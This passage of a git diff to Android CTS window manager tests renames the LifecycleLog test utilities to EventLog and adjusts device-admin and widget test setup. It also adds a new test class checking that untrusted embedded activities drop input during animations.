         sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
                 Collections.emptyList());
@@ -201,9 +233,15 @@
         pkg.forceStop();
     }
 
+    private void assertPackageStopped(String packageName)
+            throws Exception {
+        assertWithMessage("Package %s not stopped", packageName)
+                .that(isPackageStopped(packageName)).isTrue();
+    }
+
     private void assertPackageNotStopped(String packageName)
             throws Exception {
-        assertWithMessage("Package %s not stopped for", packageName)
+        assertWithMessage("Package %s stopped", packageName)
                 .that(isPackageStopped(packageName)).isFalse();
     }
 
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index f714f77..9920ad2 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -73,7 +73,7 @@
              android:process=":SecondProcess"
              android:exported="true"/>
 
-        <provider android:name="android.server.wm.lifecycle.LifecycleLog"
+        <provider android:name="android.server.wm.lifecycle.EventLog"
              android:authorities="android.server.wm.lifecycle.logprovider"
              android:exported="true"/>
 
@@ -417,6 +417,9 @@
 
         <activity android:name="android.server.wm.WindowInputTests$TestActivity" />
 
+        <activity android:name="android.server.wm.ActivityRecordInputSinkTestsActivity"
+                  android:exported="true"/>
+
         <service android:name="android.view.cts.surfacevalidator.LocalMediaProjectionService"
              android:foregroundServiceType="mediaProjection"
              android:enabled="true">
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index ce82131..94c1f1a 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -1,4 +1,4 @@
-/*d
+/*
  * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -73,7 +73,6 @@
 import android.os.UserManager;
 import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.SystemUserOnly;
-import android.server.wm.backgroundactivity.appa.Components;
 import android.server.wm.backgroundactivity.appa.IBackgroundActivityTestService;
 import android.server.wm.backgroundactivity.common.CommonComponents.Event;
 import android.server.wm.backgroundactivity.common.EventReceiver;
@@ -170,8 +169,13 @@
         // We do this before anything else, because having an active device owner can prevent us
         // from being able to force stop apps. (b/142061276)
         runWithShellPermissionIdentity(() -> {
-            runShellCommand("dpm remove-active-admin --user current "
+            runShellCommand("dpm remove-active-admin --user 0 "
                     + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
+            if (UserManager.isHeadlessSystemUserMode()) {
+                // Must also remove the PO from current user
+                runShellCommand("dpm remove-active-admin --user cur "
+                        + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
+            }
         });
 
         stopTestPackage(TEST_PACKAGE_APP_A);
@@ -712,9 +716,11 @@
     }
 
     private void clickAllowBindWidget(ResultReceiver resultReceiver) throws Exception {
-        // Test on non-auto devices only as auto doesn't support appwidget bind.
-        Assume.assumeFalse(mContext.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUTOMOTIVE));
+        PackageManager pm = mContext.getPackageManager();
+        // Skip on auto and TV devices only as they don't support appwidget bind.
+        Assume.assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+        Assume.assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY));
+
         // Create appWidgetId so we can send it to appA, to request bind widget and start config
         // activity.
         UiDevice device = UiDevice.getInstance(mInstrumentation);
@@ -734,7 +740,6 @@
 
         // Find settings package and bind widget activity and click the create button.
         String settingsPkgName = "";
-        PackageManager pm = mContext.getPackageManager();
         List<ResolveInfo> ris = pm.queryIntentActivities(appWidgetIntent,
                 PackageManager.MATCH_DEFAULT_ONLY);
         for (ResolveInfo ri : ris) {
diff --git a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
index 27f2870..70c0190 100644
--- a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
@@ -45,7 +45,7 @@
         />
 
         <!-- The provider properties must match the shared one defined in the util module. -->
-        <provider android:name="android.server.wm.lifecycle.LifecycleLog"
+        <provider android:name="android.server.wm.lifecycle.EventLog"
                   android:authorities="android.server.wm.lifecycle.logprovider"
                   android:exported="true"/>
     </application>
diff --git a/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java b/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
index d2f6f2b..b332543 100644
--- a/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
+++ b/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
@@ -22,11 +22,13 @@
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityCrossUidInSplit;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_EMBED_ACTIVITY;
 
 import static org.junit.Assume.assumeNotNull;
 
 import android.app.Activity;
 import android.content.ComponentName;
+import android.content.Intent;
 import android.os.Bundle;
 import android.server.wm.jetpack.utils.TestActivityKnownEmbeddingCerts;
 import android.server.wm.jetpack.utils.TestValueCountConsumer;
@@ -52,6 +54,21 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
+        if (getIntent().getBooleanExtra(EXTRA_EMBED_ACTIVITY, false)) {
+            startActivityInSplit();
+        }
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+
+        if (intent.getBooleanExtra(EXTRA_EMBED_ACTIVITY, false)) {
+            startActivityInSplit();
+        }
+    }
+
+    void startActivityInSplit() {
         ActivityEmbeddingComponent embeddingComponent;
         try {
             assumeExtensionSupportedDevice();
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingCrossUidTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingCrossUidTests.java
index 0092ed2..aa79a5d 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingCrossUidTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingCrossUidTests.java
@@ -120,12 +120,14 @@
 
     /**
      * Tests that embedding an activity across UIDs is allowed if an activity requires a
-     * permission that the host has.
+     * certificate that the host has.
      */
     @Test
     public void testCrossUidActivityEmbeddingIsAllowedWithPermission() {
         // Start an activity that will attempt to embed TestActivityKnownEmbeddingCerts
-        startActivityNewTask(SIGNED_EMBEDDING_ACTIVITY);
+        Bundle extras = new Bundle();
+        extras.putBoolean(EXTRA_EMBED_ACTIVITY, true);
+        startActivityNoWait(mContext, SIGNED_EMBEDDING_ACTIVITY, extras);
 
         waitAndAssertResumed(EMBEDDED_ACTIVITY_ID);
         TestActivityWithId embeddedActivity = getResumedActivityById(EMBEDDED_ACTIVITY_ID);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
index 2ad5b78..98cfb2b 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
@@ -28,9 +28,9 @@
 import static android.server.wm.lifecycle.LifecycleConstants.ON_RESUME;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_START;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_STOP;
-import static android.server.wm.lifecycle.LifecycleVerifier.assertOrder;
-import static android.server.wm.lifecycle.LifecycleVerifier.checkOrder;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.checkOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
 
 import static androidx.window.extensions.embedding.SplitRule.FINISH_ALWAYS;
 import static androidx.window.extensions.embedding.SplitRule.FINISH_NEVER;
@@ -44,9 +44,9 @@
 import android.server.wm.jetpack.utils.TestActivityWithId2;
 import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
 import android.server.wm.jetpack.utils.TestValueCountConsumer;
-import android.server.wm.lifecycle.LifecycleLog;
-import android.server.wm.lifecycle.LifecycleLog.LifecycleLogClient;
-import android.server.wm.lifecycle.LifecycleTracker;
+import android.server.wm.lifecycle.EventLog;
+import android.server.wm.lifecycle.EventLog.EventLogClient;
+import android.server.wm.lifecycle.EventTracker;
 import android.util.Pair;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -71,9 +71,9 @@
     private static final String TEST_OWNER = "TEST_OWNER";
     private static final String ON_SPLIT_STATES_UPDATED = "ON_SPLIT_STATES_UPDATED";
 
-    private LifecycleLogClient mLifecycleLogClient;
-    private LifecycleLog mLifecycleLog;
-    private LifecycleTracker mLifecycleTracker;
+    private EventLogClient mEventLogClient;
+    private EventLog mEventLog;
+    private EventTracker mLifecycleTracker;
     private LifecycleCallbacks mLifecycleCallbacks;
 
     @Override
@@ -82,26 +82,26 @@
         mSplitInfoConsumer = new SplitInfoLifecycleConsumer<>();
         mActivityEmbeddingComponent.setSplitInfoCallback(mSplitInfoConsumer);
 
-        mLifecycleLogClient = LifecycleLogClient.create(TEST_OWNER,
+        mEventLogClient = EventLogClient.create(TEST_OWNER,
                 mInstrumentation.getTargetContext());
 
         // Log transitions for all activities that belong to this app.
-        mLifecycleLog = new LifecycleLog();
-        mLifecycleLog.clear();
+        mEventLog = new EventLog();
+        mEventLog.clear();
 
         // Track transitions and allow waiting for pending activity states.
-        mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
+        mLifecycleTracker = new EventTracker(mEventLog);
         mLifecycleCallbacks = new LifecycleCallbacks();
-        ((Application) mInstrumentation.getContext().getApplicationContext())
-                .registerActivityLifecycleCallbacks(mLifecycleCallbacks);
+        mApplication.registerActivityLifecycleCallbacks(mLifecycleCallbacks);
     }
 
     @Override
     public void tearDown() {
         super.tearDown();
-        ((Application) mInstrumentation.getContext().getApplicationContext())
-                .unregisterActivityLifecycleCallbacks(mLifecycleCallbacks);
-        mLifecycleLogClient.close();
+        mApplication.unregisterActivityLifecycleCallbacks(mLifecycleCallbacks);
+        if (mEventLogClient != null) {
+            mEventLogClient.close();
+        }
     }
 
     /**
@@ -110,7 +110,6 @@
      */
     @Test
     public void testSecondaryActivityLaunch_replacing() {
-        mLifecycleLog.clear();
         Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
 
         SplitPairRule splitPairRule = createWildcardSplitPairRuleWithPrimaryActivityClass(
@@ -124,9 +123,9 @@
                 transition(TestConfigChangeHandlingActivity.class, ON_CREATE),
                 transition(TestActivityWithId.class, ON_CREATE),
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Init split states");
-        mLifecycleLog.clear();
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Init split states");
+        mEventLog.clear();
 
         // Launch a replacing secondary activity
         Activity secondaryActivity2 = startActivityAndVerifySplit(primaryActivity,
@@ -136,8 +135,8 @@
                 transition(TestActivityWithId.class, ON_DESTROY),
                 transition(TestActivityWithId2.class, ON_CREATE),
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected2));
-        assertOrder(mLifecycleLog, expected2, "Replace secondary container activity");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected2));
+        assertOrder(mEventLog, expected2, "Replace secondary container activity");
         waitAndAssertResumed(primaryActivity);
         waitAndAssertResumed(secondaryActivity2);
     }
@@ -148,7 +147,6 @@
      */
     @Test
     public void testSecondaryActivityLaunch_nonReplacing() {
-        mLifecycleLog.clear();
         Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
 
         SplitPairRule splitPairRule = createWildcardSplitPairRuleWithPrimaryActivityClass(
@@ -163,9 +161,9 @@
                 transition(TestConfigChangeHandlingActivity.class, ON_CREATE),
                 transition(TestActivityWithId.class, ON_CREATE),
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Init split states");
-        mLifecycleLog.clear();
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Init split states");
+        mEventLog.clear();
 
         // Launch a secondary activity on top
         Activity secondaryActivity2 = startActivityAndVerifySplit(primaryActivity,
@@ -175,8 +173,8 @@
                 transition(TestActivityWithId.class, ON_PAUSE),
                 transition(TestActivityWithId2.class, ON_CREATE),
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected2));
-        assertOrder(mLifecycleLog, expected2, "Launch second secondary activity");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected2));
+        assertOrder(mEventLog, expected2, "Launch second secondary activity");
         waitAndAssertResumed(primaryActivity);
         waitAndAssertResumed(secondaryActivity2);
         waitAndAssertNotVisible(secondaryActivity1);
@@ -187,7 +185,6 @@
      */
     @Test
     public void testSecondaryActivityLaunch_multiSplit() {
-        mLifecycleLog.clear();
         Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
 
         SplitPairRule splitPairRule = createWildcardSplitPairRuleWithPrimaryActivityClass(
@@ -202,9 +199,9 @@
                 transition(TestConfigChangeHandlingActivity.class, ON_CREATE),
                 transition(TestActivityWithId.class, ON_CREATE),
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Init split states");
-        mLifecycleLog.clear();
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Init split states");
+        mEventLog.clear();
 
         // Launch another secondary activity to side
         splitPairRule = createWildcardSplitPairRuleWithPrimaryActivityClass(
@@ -217,8 +214,8 @@
                 transition(TestConfigChangeHandlingActivity.class, ON_PAUSE),
                 transition(TestActivityWithId2.class, ON_CREATE),
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected2));
-        assertOrder(mLifecycleLog, expected2, "Launch second secondary activity to side");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected2));
+        assertOrder(mEventLog, expected2, "Launch second secondary activity to side");
         waitAndAssertNotVisible(primaryActivity);
         waitAndAssertResumed(secondaryActivity);
         waitAndAssertResumed(secondaryActivity2);
@@ -239,7 +236,7 @@
         Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
                 TestActivityWithId.class, splitPairRule,
                 "secondaryActivity1", mSplitInfoConsumer);
-        mLifecycleLog.clear();
+        mEventLog.clear();
 
         // Finish secondary activity
         secondaryActivity.finish();
@@ -247,8 +244,8 @@
                 transition(TestActivityWithId.class, ON_PAUSE),
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
                 transition(TestActivityWithId.class, ON_DESTROY));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Finish secondary activity");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Finish secondary activity");
         waitAndAssertResumed(primaryActivity);
     }
 
@@ -271,7 +268,7 @@
         Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
                 TestActivityWithId.class, splitPairRule,
                 "secondaryActivity1", mSplitInfoConsumer);
-        mLifecycleLog.clear();
+        mEventLog.clear();
 
         // Finish secondary activity, should trigger finishing of the primary as well
         secondaryActivity.finish();
@@ -279,8 +276,8 @@
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
                 transition(TestActivityWithId.class, ON_DESTROY),
                 transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Finish secondary activity with dependents");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Finish secondary activity with dependents");
     }
 
     /**
@@ -302,15 +299,15 @@
         Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
                 TestActivityWithId.class, splitPairRule,
                 "secondaryActivity1", mSplitInfoConsumer);
-        mLifecycleLog.clear();
+        mEventLog.clear();
 
         // Finish primary activity
         primaryActivity.finish();
         List<Pair<String, String>> expected = List.of(
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
                 transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Finish primary activity only");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Finish primary activity only");
         waitAndAssertResumed(secondaryActivity);
     }
 
@@ -332,7 +329,7 @@
         // Launch a secondary activity to side
         startActivityAndVerifySplit(primaryActivity, TestActivityWithId.class, splitPairRule,
                 "secondaryActivity1", mSplitInfoConsumer);
-        mLifecycleLog.clear();
+        mEventLog.clear();
 
         // Finish primary activity should trigger finishing of the secondary as well.
         primaryActivity.finish();
@@ -340,8 +337,8 @@
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
                 transition(TestActivityWithId.class, ON_DESTROY),
                 transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Finish primary activity with dependents");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Finish primary activity with dependents");
     }
 
     /**
@@ -370,7 +367,7 @@
                 "secondaryActivity2", mSplitInfoConsumer);
         waitAndAssertResumed(secondaryActivity);
         waitAndAssertResumed(secondaryActivity2);
-        mLifecycleLog.clear();
+        mEventLog.clear();
 
         // Finish the last activity
         secondaryActivity2.finish();
@@ -378,8 +375,8 @@
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
                 transition(TestActivityWithId2.class, ON_DESTROY),
                 transition(TestConfigChangeHandlingActivity.class, ON_RESUME));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Finish last activity in multi-split");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Finish last activity in multi-split");
     }
 
     /**
@@ -409,7 +406,7 @@
                 "secondaryActivity2", mSplitInfoConsumer);
         waitAndAssertResumed(secondaryActivity);
         waitAndAssertResumed(secondaryActivity2);
-        mLifecycleLog.clear();
+        mEventLog.clear();
 
         // Finish the middle activity
         secondaryActivity.finish();
@@ -419,8 +416,8 @@
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
                 transition(TestActivityWithId.class, ON_DESTROY),
                 transition(TestConfigChangeHandlingActivity.class, ON_STOP));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Finish middle activity in multi-split");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Finish middle activity in multi-split");
     }
 
     /**
@@ -447,7 +444,7 @@
                 "secondaryActivity2", mSplitInfoConsumer);
         waitAndAssertResumed(secondaryActivity);
         waitAndAssertResumed(secondaryActivity2);
-        mLifecycleLog.clear();
+        mEventLog.clear();
 
         // Finish the middle activity
         secondaryActivity.finish();
@@ -458,8 +455,8 @@
                 transition(TestActivityWithId.class, ON_DESTROY),
                 transition(TestConfigChangeHandlingActivity.class, ON_STOP));
 
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected, "Finish middle activity in multi-split");
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected, "Finish middle activity in multi-split");
     }
 
     /**
@@ -489,7 +486,7 @@
                 "secondaryActivity2", mSplitInfoConsumer);
         waitAndAssertResumed(secondaryActivity);
         waitAndAssertResumed(secondaryActivity2);
-        mLifecycleLog.clear();
+        mEventLog.clear();
 
         // Finish the middle activity
         secondaryActivity.finish();
@@ -497,45 +494,45 @@
         List<Pair<String, String>> expected = List.of(
                 transition(TestActivityWithId2.class, ON_DESTROY),
                 transition(TestActivityWithId.class, ON_DESTROY));
-        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
-        assertOrder(mLifecycleLog, expected,
+        mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+        assertOrder(mEventLog, expected,
                 "Finish middle activity in multi-split with dependents");
         mLifecycleTracker.waitForConditionWithTimeout(() ->
-                mLifecycleLog.getLog().contains(transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED)));
+                mEventLog.getLog().contains(transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED)));
         assertTrue("Split state change must be observed",
-                mLifecycleLog.getLog().contains(transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED)));
+                mEventLog.getLog().contains(transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED)));
     }
 
     private final class LifecycleCallbacks implements
             Application.ActivityLifecycleCallbacks {
         @Override
         public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
-            mLifecycleLogClient.onActivityCallback(ON_CREATE, activity);
+            mEventLogClient.onCallback(ON_CREATE, activity);
         }
 
         @Override
         public void onActivityStarted(Activity activity) {
-            mLifecycleLogClient.onActivityCallback(ON_START, activity);
+            mEventLogClient.onCallback(ON_START, activity);
         }
 
         @Override
         public void onActivityResumed(Activity activity) {
-            mLifecycleLogClient.onActivityCallback(ON_RESUME, activity);
+            mEventLogClient.onCallback(ON_RESUME, activity);
         }
 
         @Override
         public void onActivityPaused(Activity activity) {
-            mLifecycleLogClient.onActivityCallback(ON_PAUSE, activity);
+            mEventLogClient.onCallback(ON_PAUSE, activity);
         }
 
         @Override
         public void onActivityStopped(Activity activity) {
-            mLifecycleLogClient.onActivityCallback(ON_STOP, activity);
+            mEventLogClient.onCallback(ON_STOP, activity);
         }
 
         @Override
         public void onActivityDestroyed(Activity activity) {
-            mLifecycleLogClient.onActivityCallback(ON_DESTROY, activity);
+            mEventLogClient.onCallback(ON_DESTROY, activity);
         }
 
         @Override
@@ -547,7 +544,7 @@
         @Override
         public void accept(T value) {
             super.accept(value);
-            mLifecycleLogClient.onActivityCallback(ON_SPLIT_STATES_UPDATED, TEST_OWNER);
+            mEventLogClient.onCallback(ON_SPLIT_STATES_UPDATED, TEST_OWNER);
         }
     }
 }
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
new file mode 100644
index 0000000..a929e86
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.second.Components.SECOND_UNTRUSTED_EMBEDDING_ACTIVITY;
+import static android.server.wm.jetpack.signed.Components.SIGNED_EMBEDDING_ACTIVITY;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_EMBED_ACTIVITY;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityNewTask;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityOnDisplaySingleTop;
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.Condition;
+import android.server.wm.NestedShellPermission;
+import android.server.wm.WindowManagerState;
+import android.server.wm.jetpack.utils.TestActivityKnownEmbeddingCerts;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.SplitPairRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.function.BooleanSupplier;
+
+/**
+ * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
+ * if one is available) for the Activity Embedding functionality. Specifically tests security
+ * policies that should be applied by the system.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingPolicyTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class ActivityEmbeddingPolicyTests extends ActivityManagerTestBase {
+    protected ActivityEmbeddingComponent mActivityEmbeddingComponent;
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        // TODO(b/207070762): remove the assumption after shell transition enabled.
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
+        assumeExtensionSupportedDevice();
+        WindowExtensions windowExtensions = getWindowExtensions();
+        assumeNotNull(windowExtensions);
+        mActivityEmbeddingComponent = windowExtensions.getActivityEmbeddingComponent();
+        assumeNotNull(mActivityEmbeddingComponent);
+    }
+
+    @After
+    public void tearDown() {
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
+        NestedShellPermission.run(() -> am.forceStopPackage("android.server.wm.jetpack.second"));
+        NestedShellPermission.run(() -> am.forceStopPackage("android.server.wm.jetpack.signed"));
+    }
+
+    /**
+     * Verifies that all input is dropped for activities that are embedded and being animated with
+     * untrusted embedding.
+     */
+    @Test
+    public void testInputDuringAnimationIsNotAllowed_untrustedEmbedding() {
+        Activity primaryActivity = startActivityNewTask(mContext, mInstrumentation,
+                TestConfigChangeHandlingActivity.class, null /* activityId */);
+
+        SplitPairRule splitPairRule = createWildcardSplitPairRule(true /* shouldClearTop */);
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        // Extend the animation scale, so that the test has enough time to catch the state during
+        // transition.
+        UiAutomation automation = mInstrumentation.getUiAutomation();
+        automation.setAnimationScale(2f);
+
+        try {
+            startActivityFromActivity(primaryActivity, SECOND_UNTRUSTED_EMBEDDING_ACTIVITY,
+                    "initialSecondaryActivity", Bundle.EMPTY);
+
+            // Verify that the embedded activity drops input during animation
+            mWmState.waitForAppTransitionRunningOnDisplay(primaryActivity.getDisplayId());
+            waitForOrFailWithRapidRetry(
+                    "Embedded activity must drop all input for the duration of animation",
+                    () -> {
+                        mWmState.computeState();
+                        return mWmState.getActivity(SECOND_UNTRUSTED_EMBEDDING_ACTIVITY)
+                                .getLastDropInputMode() == 1 /* DropInputMode.ALL */;
+                    });
+
+            // Verify that the embedded activity drops input if obscured after animation
+            mWmState.waitForAppTransitionIdleOnDisplay(primaryActivity.getDisplayId());
+            assertEquals(
+                    "Embedded activity must drop input if obscured in untrusted embedding",
+                    2 /* DropInputMode.OBSCURED */,
